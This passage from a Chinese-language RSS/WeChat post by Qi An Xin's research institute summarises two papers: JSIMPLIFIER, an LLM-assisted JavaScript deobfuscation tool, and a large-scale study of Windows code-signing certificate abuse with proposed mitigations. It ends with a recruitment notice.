leaf="">JavaScript作为互联网核心脚本语言的广泛应用，使其成为恶意攻击者的重要载体。攻击者利用复杂的代码混淆技术隐藏恶意行为，给安全分析带来严峻挑战。现有反混淆工具普遍存在处理复杂样本能力有限、仅支持特定混淆类型、输出代码难以阅读等关键局限。为解决这些问题，我们设计开发了JSIMPLIFIER，一款集成多阶段处理流程与大语言模型增强的综合性JavaScript反混淆工具。该工具创新性地结合代码预处理、静态AST分析与动态执行监控的双引擎协同，以及基于LLM的智能变量重命名，实现从复杂样本格式化到语义增强的全流程反混淆。JSIMPLIFIER基于44,421个真实混淆样本构建了目前最大规模数据集，实验证明其100%覆盖20种主流混淆技术，达到100%处理成功率和正确率，代码复杂度降低88.2%，可读性提升超过4倍。该工具已成功还原JSFireTruck等复杂恶意样本的混淆行为，相关研究成果、工具及数据集已开源共享。</span></p><p nodeleaf=""><img data-imgfileid="100005274" class="rich_pages wxw-img" data-ratio="0.3244949494949495" data-type="jpeg" data-w="792" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=91c21b57&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mR253xzN6ySPPg7ia4QaKVeMk7OwHTNbxGMckMYEOO3s289ew7VE9f54txWRm6D5bZImkP3XKXAnw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><div data-role="title" data-tools="135编辑器" data-id="167093" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div><div style="border-radius: 25px;background: linear-gradient(to right,#4050ef,#80b6ff);padding: 8px 25px;box-sizing:border-box;"><div style="display: flex;justify-content: center;align-items: center;"><div><p style="font-size: 16px;color: #ffffff;text-align: center;padding: 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 16px;">Windows 代码签名滥用分析</span></span></strong></p></div></div></div></div></div></div><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">第四篇论文是由奇安信技术研究院、清华大学和中关村实验室合作完成的关于代码签名滥用检测的工作。论文题目为《</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">Understanding the Status and Strategies of the Code Signing Abuse Ecosystem</span></strong><span leaf="">》，这项工作由清华大学和奇安信联合培养的卓越工程师计划博士研究生赵汉卿主导完成，导师为段海新教授（清华大学）和应凌云博士（奇安信星图实验室）。其他作者分别为张一铭（清华大学）、张明明（中关村实验室）、刘保君（清华大学）、游子权（清华大学）、张书豪（奇安信星图实验室）。</span></p><p nodeleaf=""><img data-imgfileid="100005275" class="rich_pages wxw-img" data-ratio="0.2967171717171717" data-type="jpeg" data-w="792" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=93f1f658&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mR253xzN6ySPPg7ia4QaKVeGwWY44cRv1yOYHhibVB2LMxVGxRb5suS5ExgXp9r2qs098icwKicUoxfA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">近年来，软件供应链安全事件频发，为了保护软件真实性与完整性，代码签名机制应运而生。代码签名主要依赖公钥基础设施 PKI 技术，旨在确保软件来自真实来源且软件内容未被篡改。然而，攻击者有时会反过来利用代码签名PKI信任体系中的安全缺陷，帮助恶意软件绕过操作系统和杀毒软件的检查。深入理解代码签名滥用生态系统的演变过程以及滥用者的策略，对于完善相关检测与防御机制至关重要。</span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在这项工作中，我们利用从真实世界中收集的 3,216,113 个已签名的恶意 PE 文件，对代码签名滥用行为进行了大规模测量。通过细粒度的代码签名滥用检测分类算法，我们检测到了 43,286 张滥用证书，构建了迄今为止最大的滥用标记数据集。分析发现当前代码签名滥用现象普遍存在，影响了 46 家 CA 厂商以及 114 个国家或地区的证书。我们发现了 5 种滥用者的攻击策略，并根据当前代码签名 PKI 存在的安全缺陷提出了若干缓解措施。</span></p><p nodeleaf=""><img data-imgfileid="100005276" class="rich_pages wxw-img" data-ratio="0.31565656565656564" data-type="jpeg" data-w="792" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=eb7adbaf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mR253xzN6ySPPg7ia4QaKVewibnHlqFGFwoicYFZUSDdzEXL25yOqYRJFaSj2sLrwSiaXHqrXDIt0Kbw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><div data-tools="135编辑器" data-id="158381" data-pm-slice="0 0 []"><div style="margin: 10px auto;"><div style="border: 1px solid #859de5;padding: 4px;box-sizing:border-box;"><div style="background: linear-gradient(to bottom,#e9f2ff,#ffffff);padding: 25px 20px;box-sizing:border-box;"><div data-autoskip="1" style="text-align: justify;line-height:1.75em;letter-spacing: 1.5px;font-size:14px;color:#333333;background-color: transparent;"><p><span leaf=""><span textstyle="" style="font-size: 16px;">奇安信技术研究院是专注于网络空间安全相关技术的研究机构，聚焦网络空间安全领域基础性或前沿性的研究课题，结合国家和社会的实际需求，开展创新性和实践性的技术研究。共有星图实验室、羲和实验室和天工实验室三大实验室。</span></span></p><p><span style="mso-spacerun:&#39;yes&#39;;font-family:宋体;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.5000pt;mso-font-kerning:1.0000pt;"><font face="宋体"><span leaf=""><span textstyle="" style="font-size: 16px;">我们目前正在招聘，工作地点覆盖北京、南京、成都等城市，详情请参见：</span></span></font></span></p><p><span style="mso-spacerun:&#39;yes&#39;;font-family:宋体;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.5000pt;mso-font-kerning:1.0000pt;"><font face="Calibri"><span leaf=""><span textstyle="" style="font-size: 16px;"><a href="https://research.qianxin.com/recruitment/" target="_blank">https://research.qianxin.com/recruitment/</a></span></span></font></span></p></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a0b2e845&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247488931%26idx%3D1%26sn%3D964d6f6bf245bdbdd30d0ef520ac311d">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 24 Dec 2025 11:54:00 +0800</pubDate>
    </item>
  </channel>
</rss>